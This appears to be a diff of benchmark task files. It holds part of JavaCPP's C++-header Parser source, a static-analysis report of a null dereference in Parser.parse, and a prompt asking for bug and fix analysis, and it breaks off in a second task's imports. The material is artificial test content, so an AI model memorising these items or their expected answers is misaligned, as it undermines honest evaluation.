+                            type = dcl.type.annotations + dcl.type.javaName;
+                        }
+                        for (int i = 0; i < info.cppNames.length; i++) {
+                            if (macroName.equals(info.cppNames[i]) && info.javaNames != null) {
+                                macroName = "@Name(\"" + info.cppNames[0] + "\") " + info.javaNames[i];
+                                break;
+                            }
+                        }
+                        translate = info.translate;
+                    }
+                    tokens.index = beginIndex + 1;
+                    if (translate) {
+                        for (Token token = tokens.get(); tokens.index < lastIndex; token = tokens.next()) {
+                            value += token.spacing + token + (tokens.index + 1 < lastIndex ? cat : "");
+                        }
+                        value = translate(value);
+                    } else {
+                        decl.text += "public static native @MemberGetter " + type + " " + macroName + "();\n";
+                        value = " " + macroName + "()";
+                    }
+                    int i = type.lastIndexOf(' ');
+                    if (i >= 0) {
+                        type = type.substring(i + 1);
+                    }
+                    if (value.length() > 0) {
+                        decl.text += "public static final " + type + " " + macroName + " =" + value + ";\n";
+                    }
+                }
+            }
+        }
+
+        if (decl.text.length() == 0) {
+            // output whatever we did not process as comment
+            tokens.index = beginIndex;
+            int n = spacing.lastIndexOf('\n') + 1;
+            decl.text += "// " + spacing.substring(n) + "#" + keyword.spacing + keyword;
+            for (Token token = tokens.get(); tokens.index < lastIndex; token = tokens.next()) {
+                decl.text += token.match("\n") ? "\n// " : token.spacing + token;
+            }
+            spacing = spacing.substring(0, n);
+        }
+        if (decl.text.length() > 0) {
+            tokens.index = lastIndex;
+            String comment = commentAfter();
+            decl.text = comment + decl.text;
+        }
+        tokens.raw = false;
+        declList.spacing = spacing;
+        declList.add(decl);
+        declList.spacing = null;
+        return true;
+    }
+
+    boolean typedef(Context context, DeclarationList declList) throws Exception {
+        String spacing = tokens.get().spacing;
+        if (!tokens.get().match(Token.TYPEDEF)) {
+            return false;
+        }
+        Declaration decl = new Declaration();
+        Declarator dcl = declarator(context, null, 0, false, 0, true, false);
+        tokens.next();
+
+        String typeName = dcl.type.cppName, defName = dcl.cppName;
+        if (context.namespace != null) {
+            defName = context.namespace + "::" + defName;
+        }
+        if (dcl.definition != null) {
+            // a function pointer or something
+            decl = dcl.definition;
+            if (dcl.javaName.length() > 0 && context.group != null) {
+                dcl.javaName = context.group.javaName + "." + dcl.javaName;
+            }
+            infoMap.put(new Info(defName).valueTypes(dcl.javaName));
+        } else if (typeName.equals("void")) {
+            // some opaque data type
+            Info info = infoMap.getFirst(defName);
+            if (info == null || !info.skip) {
+                decl.text = "@Opaque public static class " + dcl.javaName + " extends Pointer {\n" +
+                            "    public " + dcl.javaName + "() { }\n" +
+                            "    public " + dcl.javaName + "(Pointer p) { super(p); }\n" +
+                            "}";
+            }
+        } else {
+            // point back to original type
+            Info info = infoMap.getFirst(typeName);
+            if (info == null || !info.skip) {
+                info = info != null ? new Info(info).cppNames(defName) : new Info(defName);
+                if (info.cppTypes == null) {
+                    info.cppTypes(typeName);
+                }
+                if (info.pointerTypes == null) {
+                    info.pointerTypes(typeName);
+                }
+                if (info.annotations == null) {
+                    info.cast(!dcl.cppName.equals(info.pointerTypes[0]));
+                }
+                infoMap.put(info);
+            }
+        }
+
+        String comment = commentAfter();
+        decl.text = comment + decl.text;
+        declList.spacing = spacing;
+        declList.add(decl);
+        declList.spacing = null;
+        return true;
+    }
+
+    boolean using(Context context, DeclarationList declList) throws Exception {
+        if (!tokens.get().match(Token.USING)) {
+            return false;
+        }
+        String spacing = tokens.get().spacing;
+        boolean namespace = tokens.get(1).match(Token.NAMESPACE);
+        Declarator dcl = declarator(context, null, 0, false, 0, true, false);
+        tokens.next();
+
+        context.usingList.add(dcl.type.cppName + (namespace ? "::" : ""));
+
+        Declaration decl = new Declaration();
+        if (dcl.definition != null) {
+            decl = dcl.definition;
+        }
+        String comment = commentAfter();
+        decl.text = comment + decl.text;
+        declList.spacing = spacing;
+        declList.add(decl);
+        declList.spacing = null;
+        return true;
+    }
+
+    boolean group(Context context, DeclarationList declList) throws Exception {
+        int backIndex = tokens.index;
+        String spacing = tokens.get().spacing;
+        boolean typedef = tokens.get().match(Token.TYPEDEF);
+        boolean foundGroup = false, friend = false;
+        Context ctx = new Context(context);
+        for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+            if (token.match(Token.CLASS, Token.STRUCT, Token.UNION)) {
+                foundGroup = true;
+                ctx.inaccessible = token.match(Token.CLASS);
+                break;
+            } else if (token.match(Token.FRIEND)) {
+                friend = true;
+            } else if (!token.match(Token.IDENTIFIER)) {
+                break;
+            }
+        }
+        if (!foundGroup) {
+            tokens.index = backIndex;
+            return false;
+        }
+
+        tokens.next().expect(Token.IDENTIFIER, '{');
+        if (typedef && tokens.get(1).match('*')) {
+            tokens.next();
+        }
+        if (!tokens.get().match('{') && tokens.get(1).match(Token.IDENTIFIER)
+                && (typedef || !tokens.get(2).match(';'))) {
+            tokens.next();
+        }
+        Type type = type(context);
+        ArrayList<Type> baseClasses = new ArrayList<Type>();
+        Declaration decl = new Declaration();
+        decl.text = type.annotations;
+        String name = type.javaName;
+        boolean anonymous = !typedef && type.cppName.length() == 0, derivedClass = false;
+        if (type.cppName.length() > 0 && tokens.get().match(':')) {
+            derivedClass = true;
+            for (Token token = tokens.next(); !token.match(Token.EOF); token = tokens.next()) {
+                boolean accessible = false;
+                if (token.match(Token.VIRTUAL)) {
+                    continue;
+                } else if (token.match(Token.PRIVATE, Token.PROTECTED, Token.PUBLIC)) {
+                    accessible = token.match(Token.PUBLIC);
+                    tokens.next();
+                }
+                Type t = type(context);
+                if (accessible) {
+                    baseClasses.add(t);
+                }
+                if (tokens.get().expect(',', '{').match('{')) {
+                    break;
+                }
+            }
+        }
+        if (!tokens.get().match('{', ';')) {
+            tokens.index = backIndex;
+            return false;
+        }
+        int startIndex = tokens.index;
+        ArrayList<Declarator> variables = new ArrayList<Declarator>();
+        if (body() != null && !tokens.get().match(';')) {
+            if (typedef) {
+                for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+                    if (token.match(';')) {
+                        decl.text += token.spacing;
+                        break;
+                    } else {
+                        name = type.javaName = type.cppName = token.value;
+                    }
+                }
+            } else {
+                int index = tokens.index - 1;
+                for (int n = 0; n < Integer.MAX_VALUE; n++) {
+                    tokens.index = index;
+                    Declarator dcl = declarator(context, null, -1, false, n, false, true);
+                    if (dcl == null) {
+                        break;
+                    } else {
+                        variables.add(dcl);
+                    }
+                }
+                int n = spacing.lastIndexOf('\n');
+                if (n >= 0) {
+                    decl.text += spacing.substring(0, n);
+                }
+            }
+        }
+        int namespace = type.cppName.lastIndexOf("::");
+        if (context.namespace != null && namespace < 0) {
+            type.cppName = context.namespace + "::" + type.cppName;
+        }
+        Info info = infoMap.getFirst(type.cppName);
+        if (info != null && info.skip) {
+            decl.text = "";
+            declList.add(decl);
+            return true;
+        } else if (info != null && info.pointerTypes != null && info.pointerTypes.length > 0) {
+            name = type.javaName = info.pointerTypes[0];
+        } else if (info == null) {
+            if (type.javaName.length() > 0 && context.group != null) {
+                type.javaName = context.group.javaName + "." + type.javaName;
+            }
+            infoMap.put(info = new Info(type.cppName).pointerTypes(type.javaName));
+        }
+        Type base = new Type("Pointer");
+        if (baseClasses.size() > 0) {
+            base = baseClasses.remove(0);
+        }
+        String casts = "";
+        if (baseClasses.size() > 0) {
+            for (Type t : baseClasses) {
+                casts += "    public " + t.javaName + " as" + t.javaName + "() { return as" + t.javaName + "(this); }\n"
+                        + "    @Namespace public static native @Name(\"static_cast<" + t.cppName + "*>\") "
+                        + t.javaName + " as" + t.javaName + "(" + type.javaName + " pointer);\n";
+            }
+        }
+        decl.signature = type.javaName;
+        tokens.index = startIndex;
+        if (name.length() > 0 && tokens.get().match(';')) {
+            // incomplete type (forward or friend declaration)
+            tokens.next();
+            if (friend) {
+                decl.text = "";
+                declList.add(decl);
+                return true;
+            } else if (info != null && info.base != null) {
+                base.javaName = info.base;
+            }
+            String fullName = context.namespace != null ? context.namespace + "::" + name : name;
+            if (!fullName.equals(type.cppName)) {
+                decl.text += "@Name(\"" + type.cppName + "\") ";
+            } else if (context.namespace != null && context.group == null) {
+                decl.text += "@Namespace(\"" + context.namespace + "\") ";
+            }
+            decl.text += "@Opaque public static class " + name + " extends " + base.javaName + " {\n" +
+                         "    public " + name + "() { }\n" +
+                         "    public " + name + "(Pointer p) { super(p); }\n" +
+                         "}";
+            decl.type = type;
+            decl.incomplete = true;
+            String comment = commentAfter();
+            decl.text = comment + decl.text;
+            declList.spacing = spacing;
+            declList.add(decl);
+            declList.spacing = null;
+            return true;
+        } else if (tokens.get().match('{')) {
+            tokens.next();
+        }
+
+        if (!anonymous) {
+            ctx.namespace = type.cppName;
+            ctx.group = type;
+        }
+        if (variables.size() > 0) {
+            ctx.variables = variables.toArray(new Declarator[variables.size()]);
+        }
+        DeclarationList declList2 = new DeclarationList();
+        declarations(ctx, declList2);
+        boolean implicitConstructor = true, defaultConstructor = false, intConstructor = false, abstractClass = false, haveVariables = false;
+        for (Declaration d : declList2) {
+            if (d.declarator != null && d.declarator.type != null && d.declarator.type.constructor) {
+                implicitConstructor = false;
+                Declarator[] paramDcls = d.declarator.parameters.declarators;
+                defaultConstructor |= paramDcls.length == 0 && !d.inaccessible;
+                intConstructor |= paramDcls.length == 1 && paramDcls[0].type.javaName.equals("int") && !d.inaccessible;
+            } else if (d.abstractMember) {
+                implicitConstructor = false;
+                abstractClass = true;
+            }
+            haveVariables |= d.variable;
+        }
+        if (!anonymous) {
+            String fullName = context.namespace != null ? context.namespace + "::" + name : name;
+            if (!fullName.equals(type.cppName)) {
+                decl.text += "@Name(\"" + type.cppName + "\") ";
+            } else if (context.namespace != null && context.group == null) {
+                decl.text += "@Namespace(\"" + context.namespace + "\") ";
+            }
+            if ((!implicitConstructor || derivedClass) && haveVariables) {
+                decl.text += "@NoOffset ";
+            }
+            if (info != null && info.base != null) {
+                base.javaName = info.base;
+            }
+            decl.text += "public static class " + name + " extends " + base.javaName + " {\n" +
+                         "    static { Loader.load(); }\n";
+
+            if (implicitConstructor) {
+                decl.text += "    public " + name + "() { allocate(); }\n" +
+                             "    public " + name + "(int size) { allocateArray(size); }\n" +
+                             "    public " + name + "(Pointer p) { super(p); }\n" +
+                             "    private native void allocate();\n" +
+                             "    private native void allocateArray(int size);\n" +
+                             "    @Override public " + name + " position(int position) {\n" +
+                             "        return (" + name + ")super.position(position);\n" +
+                             "    }\n";
+            } else {
+                if (!defaultConstructor || abstractClass) {
+                    decl.text += "    public " + name + "() { }\n";
+                }
+                decl.text += "    public " + name + "(Pointer p) { super(p); }\n";
+                if (defaultConstructor && !abstractClass && !intConstructor) {
+                    decl.text += "    public " + name + "(int size) { allocateArray(size); }\n" +
+                                 "    private native void allocateArray(int size);\n" +
+                                 "    @Override public " + name + " position(int position) {\n" +
+                                 "        return (" + name + ")super.position(position);\n" +
+                                 "    }\n";
+                }
+            }
+            declList.spacing = spacing;
+            decl.text = declList.rescan(decl.text + casts + "\n");
+            declList.spacing = null;
+        }
+        for (Declaration d : declList2) {
+            if (!d.inaccessible && (d.declarator == null || d.declarator.type == null || !d.declarator.type.constructor || !abstractClass)) {
+                decl.text += d.text;
+            }
+        }
+        decl.text += commentBefore(); // for comments at the end without declarations
+        if (!anonymous) {
+            decl.text += tokens.get().spacing + '}';
+        }
+        for (Token token = tokens.next(); !token.match(Token.EOF); token = tokens.next()) {
+            if (token.match(';')) {
+                decl.text += token.spacing;
+                break;
+            }
+        }
+        tokens.next();
+        decl.type = type;
+        if (info != null && info.javaText != null) {
+            decl.text = info.javaText;
+        }
+        declList.add(decl);
+        return true;
+    }
+
+    boolean enumeration(Context context, DeclarationList declList) throws Exception {
+        int backIndex = tokens.index;
+        String enumSpacing = tokens.get().spacing;
+        boolean typedef = tokens.get().match(Token.TYPEDEF);
+        boolean foundEnum = false;
+        for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+            if (token.match(Token.ENUM)) {
+                foundEnum = true;
+                break;
+            } else if (!token.match(Token.IDENTIFIER)) {
+                break;
+            }
+        }
+        if (!foundEnum) {
+            tokens.index = backIndex;
+            return false;
+        }
+
+        if (typedef && !tokens.get(1).match('{') && tokens.get(2).match(Token.IDENTIFIER)) {
+            tokens.next();
+        }
+        boolean first = true;
+        int count = 0;
+        String countPrefix = " ";
+        String enumerators = "";
+        String macroText = "";
+        String name = tokens.next().expect(Token.IDENTIFIER, '{').value;
+        if (!tokens.get().match('{') && !tokens.next().match('{')) {
+            tokens.index = backIndex;
+            return false;
+        }
+        for (Token token = tokens.next(); !token.match(Token.EOF, '}'); token = tokens.get()) {
+            if (macro(context, declList)) {
+                Declaration macroDecl = declList.removeLast();
+                macroText += macroDecl.text;
+                if (!first && !macroDecl.text.trim().startsWith("//")) {
+                    enumerators += ";\n";
+                    macroText += "\npublic static final int";
+                    first = true;
+                }
+                continue;
+            }
+            String comment = commentBefore();
+            Token enumerator = tokens.get();
+            String spacing2 = " ";
+            String separator = first ? "" : ",";
+            if (tokens.next().match('=')) {
+                spacing2 = tokens.get().spacing;
+                countPrefix = " ";
+                int count2 = 0;
+                Token prevToken = new Token();
+                boolean translate = true;
+                for (token = tokens.next(); !token.match(Token.EOF, ',', '}') || count2 > 0; token = tokens.next()) {
+                    countPrefix += token.spacing + token;
+                    if (token.match('(')) {
+                        count2++;
+                    } else if (token.match(')')) {
+                        count2--;
+                    }
+                    if (prevToken.match(Token.IDENTIFIER) && token.match('(')) {
+                        translate = false;
+                    }
+                    prevToken = token;
+                }
+                try {
+                    count = Integer.parseInt(countPrefix.trim());
+                    countPrefix = " ";
+                } catch (NumberFormatException e) {
+                    count = 0;
+                    if (translate) {
+                        countPrefix = translate(countPrefix);
+                    } else {
+                        if (!first) {
+                            separator = ";\n";
+                            first = true;
+                        }
+                        separator += "public static native @MemberGetter int " + enumerator.value + "();\npublic static final int";
+                        countPrefix = " " + enumerator.value + "()";
+                    }
+                }
+            }
+            first = false;
+            enumerators += separator + macroText + comment;
+            macroText = "";
+            comment = commentAfter();
+            if (comment.length() == 0 && tokens.get().match(',')) {
+                tokens.next();
+                comment = commentAfter();
+            }
+            String spacing = enumerator.spacing;
+            if (comment.length() > 0) {
+                enumerators += spacing + comment;
+                int newline = spacing.lastIndexOf('\n');
+                if (newline >= 0) {
+                    spacing = spacing.substring(newline + 1);
+                }
+            }
+            enumerators += spacing + enumerator.value + spacing2 + "=" + countPrefix;
+            if (countPrefix.trim().length() > 0) {
+                if (count > 0) {
+                    enumerators += " + " + count;
+                }
+            } else {
+                enumerators += count;
+            }
+            count++;
+        }
+        String comment = commentBefore();
+        Declaration decl = new Declaration();
+        Token token = tokens.next();
+        if (token.match(Token.IDENTIFIER)) {
+            // XXX: If !isTypedef, this is a variable declaration with anonymous type
+            name = token.value;
+            token = tokens.next();
+        }
+        if (context.namespace != null) {
+            name = context.namespace + "::" + name;
+        }
+        decl.text += enumSpacing + "/** enum " + name + " */\n";
+        int newline = enumSpacing.lastIndexOf('\n');
+        if (newline >= 0) {
+            enumSpacing = enumSpacing.substring(newline + 1);
+        }
+        if (!Character.isWhitespace(enumerators.charAt(0))) {
+            enumerators = " " + enumerators;
+        }
+        decl.text += enumSpacing + "public static final int" + enumerators + token.expect(';').spacing + ";";
+        if (name.length() > 0) {
+            infoMap.put(new Info(name).cast(true).valueTypes("int").pointerTypes("IntPointer", "IntBuffer", "int[]"));
+        }
+        tokens.next();
+        decl.text += macroText + comment;
+        declList.add(decl);
+        return true;
+    }
+
+    boolean namespace(Context context, DeclarationList declList) throws Exception {
+        if (!tokens.get().match(Token.NAMESPACE)) {
+            return false;
+        }
+        Declaration decl = new Declaration();
+        String name = tokens.next().expect(Token.IDENTIFIER).value;
+        tokens.next().expect('{');
+        tokens.next();
+
+        context = new Context(context);
+        context.namespace = context.namespace != null ? context.namespace + "::" + name : name;
+        declarations(context, declList);
+        decl.text += tokens.get().expect('}').spacing;
+        tokens.next();
+        declList.add(decl);
+        return true;
+    }
+
+    boolean extern(Context context, DeclarationList declList) throws Exception {
+        if (!tokens.get().match(Token.EXTERN) || !tokens.get(1).match(Token.STRING)) {
+            return false;
+        }
+        Declaration decl = new Declaration();
+        tokens.next().expect("\"C\"");
+        if (!tokens.next().match('{')) {
+            declList.add(decl);
+            return true;
+        }
+        tokens.next();
+
+        declarations(context, declList);
+        tokens.get().expect('}');
+        tokens.next();
+        declList.add(decl);
+        return true;
+    }
+
+
+    static class Declaration {
+        Type type = null;
+        Declarator declarator = null;
+        boolean abstractMember = false, constMember = false, inaccessible = false, incomplete = false, variable = false;
+        String signature = "", text = "";
+    }
+
+    static class DeclarationList extends LinkedList<Declaration> {
+        InfoMap infoMap = null;
+        Context context = null;
+        TemplateMap templateMap = null;
+        ListIterator<Info> infoIterator = null;
+        String spacing = null;
+
+        String rescan(String lines) {
+            if (spacing == null) {
+                return lines;
+            }
+            String text = "";
+            Scanner scanner = new Scanner(lines);
+            while (scanner.hasNextLine()) {
+                text += spacing + scanner.nextLine();
+                int newline = spacing.lastIndexOf('\n');
+                spacing = newline >= 0 ? spacing.substring(newline) : "\n";
+            }
+            return text;
+        }
+
+        @Override public boolean add(Declaration decl) {
+            boolean add = true;
+            if (templateMap != null && !templateMap.full() && (decl.type != null || decl.declarator != null)) {
+                Type type = templateMap.type = decl.type;
+                Declarator dcl = templateMap.declarator = decl.declarator;
+                LinkedList<Info> infoList = infoMap.get(dcl != null ? dcl.cppName : type.cppName);
+                infoIterator = infoList.size() > 0 ? infoList.listIterator() : null;
+                add = false;
+            } else if (decl.declarator != null && decl.declarator.type != null) {
+                Info info = infoMap.getFirst(decl.declarator.type.cppName);
+                if (info != null && info.skip && info.valueTypes == null && info.pointerTypes == null) {
+                    add = false;
+                } else if (decl.declarator.parameters != null) {
+                    for (Declarator d : decl.declarator.parameters.declarators) {
+                        if (d != null && d.type != null) {
+                            info = infoMap.getFirst(d.type.cppName);
+                            if (info != null && info.skip && info.valueTypes == null && info.pointerTypes == null) {
+                                add = false;
+                                break;
+                            }
+                        }
+                    }
+                }
+            }
+            if (!add) {
+                return false;
+            }
+
+            LinkedList<Declaration> stack = new LinkedList<Declaration>();
+            ListIterator<Declaration> it = stack.listIterator();
+            it.add(decl); it.previous();
+            while (it.hasNext()) {
+                decl = it.next();
+                Declarator dcl = decl.declarator;
+                if (dcl != null && dcl.definition != null) {
+                    it.add(dcl.definition); it.previous();
+                }
+                if (dcl != null && dcl.parameters != null && dcl.parameters.declarators != null) {
+                    for (Declarator d : dcl.parameters.declarators) {
+                        if (d != null && d.definition != null) {
+                            it.add(d.definition); it.previous();
+                        }
+                    }
+                }
+            }
+
+            while (!stack.isEmpty()) {
+                decl = stack.removeLast();
+                if (context != null) {
+                    decl.inaccessible = context.inaccessible;
+                }
+                it = listIterator();
+                boolean found = false;
+                while (it.hasNext()) {
+                    Declaration d = it.next();
+                    if (d.signature.length() > 0 && d.signature.equals(decl.signature)) {
+                        if ((d.constMember && !decl.constMember) || (d.inaccessible && !decl.inaccessible) || (d.incomplete && !decl.incomplete)) {
+                            // add preferably non-const accessible complete versions of functions and types
+                            it.remove();
+                        } else {
+                            found = true;
+                        }
+                    }
+                }
+                if (!found) {
+                    decl.text = rescan(decl.text);
+                    super.add(decl);
+                }
+            }
+            return true;
+        }
+    }
+
+    void declarations(Context context, DeclarationList declList) throws Exception {
+        for (Token token = tokens.get(); !token.match(Token.EOF, '}'); token = tokens.get()) {
+            if (token.match(Token.PRIVATE, Token.PROTECTED, Token.PUBLIC) && tokens.next().match(':')) {
+                context.inaccessible = !token.match(Token.PUBLIC);
+                tokens.next();
+            }
+            Context ctx = context;
+            String comment = commentBefore();
+            token = tokens.get();
+            String spacing = token.spacing;
+            TemplateMap map = template(ctx);
+            if (map != null) {
+                token = tokens.get();
+                token.spacing = spacing;
+                ctx = new Context(ctx);
+                ctx.templateMap = map;
+            }
+            Declaration decl = new Declaration();
+            if (comment != null && comment.length() > 0) {
+                decl.inaccessible = ctx.inaccessible;
+                decl.text = comment;
+                declList.add(decl);
+            }
+            int startIndex = tokens.index;
+            declList.infoMap = infoMap;
+            declList.context = ctx;
+            declList.templateMap = map;
+            declList.infoIterator = null;
+            declList.spacing = null;
+            do {
+                if (map != null && declList.infoIterator != null && declList.infoIterator.hasNext()) {
+                    Info info = declList.infoIterator.next();
+                    if (info == null) {
+                        continue;
+                    }
+                    Type type = new Parser(this, info.cppNames[0]).type(context);
+                    if (type.arguments == null) {
+                        continue;
+                    }
+                    int count = 0;
+                    for (Map.Entry<String,String> e : map.entrySet()) {
+                        if (count < type.arguments.length) {
+                            e.setValue(type.arguments[count++].cppName);
+                        }
+                    }
+                    tokens.index = startIndex;
+                }
+
+                if (!macro(ctx, declList) && !extern(ctx, declList) && !namespace(ctx, declList)
+                        && !enumeration(ctx, declList) && !group(ctx, declList) && !typedef(ctx, declList)
+                        && !using(ctx, declList) && !function(ctx, declList) && !variable(ctx, declList)) {
+                    spacing = tokens.get().spacing;
+                    if (attribute() != null) {
+                        tokens.get().spacing = spacing;
+                    } else {
+                        throw new Exception(token.file + ":" + token.lineNumber + ": Could not parse declaration at '" + token + "'");
+                    }
+                }
+                while (tokens.get().match(';') && !tokens.get().match(Token.EOF)) {
+                    tokens.next();
+                }
+            } while (declList.infoIterator != null && declList.infoIterator.hasNext());
+        }
+    }
+
+    void parse(String outputFilename, Context context, String[] includePath, String ... inputFilenames) throws IOException, Exception {
+        File[] files = new File[inputFilenames.length];
+        for (int i = 0; i < files.length; i++) {
+            files[i] = new File(inputFilenames[i]);
+        }
+        parse(new File(outputFilename), context, includePath, files);
+    }
+    void parse(File outputFile, Context context, String[] includePath, File ... inputFiles) throws IOException, Exception {
+        ArrayList<Token> tokenList = new ArrayList<Token>();
+        String lineSeparator = null;
+        for (File file : inputFiles) {
+            if (!file.exists()) {
+                for (String s : includePath) {
+                    File f = new File(s, file.getPath());
+                    if (f.exists()) {
+                        file = f;
+                        break;
+                    }
+                }
+            }
+            Info info = infoMap.getFirst(file.getName());
+            if (info != null && info.skip) {
+                continue;
+            }
+            logger.info("Parsing " + file);
+            Token token = new Token();
+            token.type = Token.COMMENT;
+            token.value = "\n// Parsed from " + file + "\n\n";
+            tokenList.add(token);
+            Tokenizer tokenizer = new Tokenizer(file);
+            while (!(token = tokenizer.nextToken()).isEmpty()) {
+                if (token.type == -1) {
+                    token.type = Token.COMMENT;
+                }
+                tokenList.add(token);
+            }
+            if (lineSeparator == null) {
+                lineSeparator = tokenizer.lineSeparator;
+            }
+            tokenizer.close();
+            token = new Token();
+            token.type = Token.COMMENT;
+            token.spacing = "\n";
+            tokenList.add(token);
+        }
+        tokens = new TokenIndexer(infoMap, tokenList.toArray(new Token[tokenList.size()]));
+
+        final String newline = lineSeparator != null ? lineSeparator : "\n";
+        Writer out = outputFile != null ? new FileWriter(outputFile) {
+            @Override public Writer append(CharSequence text) throws IOException {
+                return super.append(((String)text).replace("\n", newline).replace("\\u", "\\u005Cu"));
+            }} : new Writer() {
+            @Override public void write(char[] cbuf, int off, int len) { }
+            @Override public void flush() { }
+            @Override public void close() { }
+        };
+        LinkedList<Info> infoList = leafInfoMap.get(null);
+        for (Info info : infoList) {
+            if (info.javaText != null && !info.javaText.startsWith("import")) {
+                out.append(info.javaText + "\n");
+            }
+        }
+        out.append("    static { Loader.load(); }\n");
+
+        DeclarationList declList = new DeclarationList();
+        containers(context, declList);
+        declarations(context, declList);
+        for (Declaration d : declList) {
+            out.append(d.text);
+        }
+        String comment = commentBefore();
+        if (comment != null) {
+            out.append(comment);
+        }
+        out.append("\n}\n").close();
+    }
+
+    public File parse(String outputDirectory, String[] classPath, Class cls) throws IOException, Exception {
+        return parse(new File(outputDirectory), classPath, cls);
+    }
+    public File parse(File outputDirectory, String[] classPath, Class cls) throws IOException, Exception {
+        Loader.ClassProperties allProperties = Loader.loadProperties(cls, properties, true);
+        Loader.ClassProperties clsProperties = Loader.loadProperties(cls, properties, false);
+        LinkedList<File> allFiles = allProperties.getHeaderFiles();
+        LinkedList<File> clsFiles = clsProperties.getHeaderFiles();
+        LinkedList<String> allTargets = allProperties.get("target");
+        LinkedList<String> clsTargets = clsProperties.get("target");
+        LinkedList<String> clsHelpers = clsProperties.get("helper");
+        String target = clsTargets.getFirst(); // there can only be one
+        LinkedList<Class> allInherited = allProperties.getInheritedClasses();
+
+        infoMap = new Parser.InfoMap();
+        for (Class c : allInherited) {
+            try {
+                ((InfoMapper)c.newInstance()).map(infoMap);
+            } catch (ClassCastException e) {
+            } catch (InstantiationException e) {
+            } catch (IllegalAccessException e) {
+                // fail silently as if the interface wasn't implemented
+            }
+        }
+        leafInfoMap = new Parser.InfoMap();
+        try {
+            ((InfoMapper)cls.newInstance()).map(leafInfoMap);
+        } catch (ClassCastException e) {
+        } catch (InstantiationException e) {
+        } catch (IllegalAccessException e) {
+            // fail silently as if the interface wasn't implemented
+        }
+        infoMap.putAll(leafInfoMap);
+
+        String version = Generator.class.getPackage().getImplementationVersion();
+        if (version == null) {
+            version = "unknown";
+        }
+        String text = "// Targeted by JavaCPP version " + version + "\n\n";
+        int n = target.lastIndexOf('.');
+        if (n >= 0) {
+            text += "package " + target.substring(0, n) + ";\n\n";
+        }
+        LinkedList<Info> infoList = leafInfoMap.get(null);
+        for (Info info : infoList) {
+            if (info.javaText != null && info.javaText.startsWith("import")) {
+                text += info.javaText + "\n";
+            }
+        }
+        text += "import com.googlecode.javacpp.*;\n" +
+                "import com.googlecode.javacpp.annotation.*;\n" +
+                "import java.nio.*;\n\n";
+        for (String s : allTargets) {
+            if (!target.equals(s)) {
+                text += "import static " + s + ".*;\n";
+            }
+        }
+        if (allTargets.size() > 1) {
+            text += "\n";
+        }
+        text += "public class " + target.substring(n + 1) + " extends "
+             + (clsHelpers.size() > 0 ? clsHelpers.getFirst() : cls.getCanonicalName()) + " {";
+        leafInfoMap.putFirst(new Info().javaText(text));
+
+        String targetPath = target.replace('.', File.separatorChar);
+        File targetFile = new File(outputDirectory, targetPath + ".java");
+        logger.info("Targeting " + targetFile);
+        Context context = new Context();
+        String[] includePath = classPath;
+        n = targetPath.lastIndexOf(File.separatorChar);
+        if (n >= 0) {
+            includePath = classPath.clone();
+            for (int i = 0; i < includePath.length; i++) {
+                includePath[i] += File.separator + targetPath.substring(0, n);
+            }
+        }
+        for (File f : allFiles) {
+            if (!clsFiles.contains(f)) {
+                parse(null, context, includePath, f);
+            }
+        }
+        parse(targetFile, context, includePath, clsFiles.toArray(new File[clsFiles.size()]));
+        return targetFile;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `allInherited` last assigned on line 2956 could be null and is dereferenced at line 2959.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+File Parser.parse(File,java.lang.String[],Class)
+
+### Procedure Id:
+com.googlecode.javacpp.Parser.parse(java.io.File,java.lang.String[],java.lang.Class):java.io.File.f175143f1a72d531678ca157edc5215d
+
+### File:
+src/main/java/com/googlecode/javacpp/Parser.java
+
+### Key:
+Parser.java|parse|NULL_DEREFERENCE
+
+### Node Key:
+508fe65944aede45ae4405e1858c9447
+
+### Hash:
+1b0e0b8cafff477145a73e32e4d9ae26
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9288/instruction.md b/inferredbugs-9288/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..933c05cf9335eae101bde23c0f980b712bdf22cc
--- /dev/null
+++ b/inferredbugs-9288/instruction.md
@@ -0,0 +1,967 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** javacpp
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2011-2016 Samuel Audet
+ *
+ * Licensed either under the Apache License, Version 2.0, or (at your option)
+ * under the terms of the GNU General Public License as published by
+ * the Free Software Foundation (subject to the "Classpath" exception),
+ * either version 2, or any later version (collectively, the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *     http://www.gnu.org/licenses/
+ *     http://www.gnu.org/software/classpath/license.html
+ *
+ * or as provided in the LICENSE.txt file that accompanied this code.
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.bytedeco.javacpp;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.net.JarURLConnection;
+import java.net.MalformedURLException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
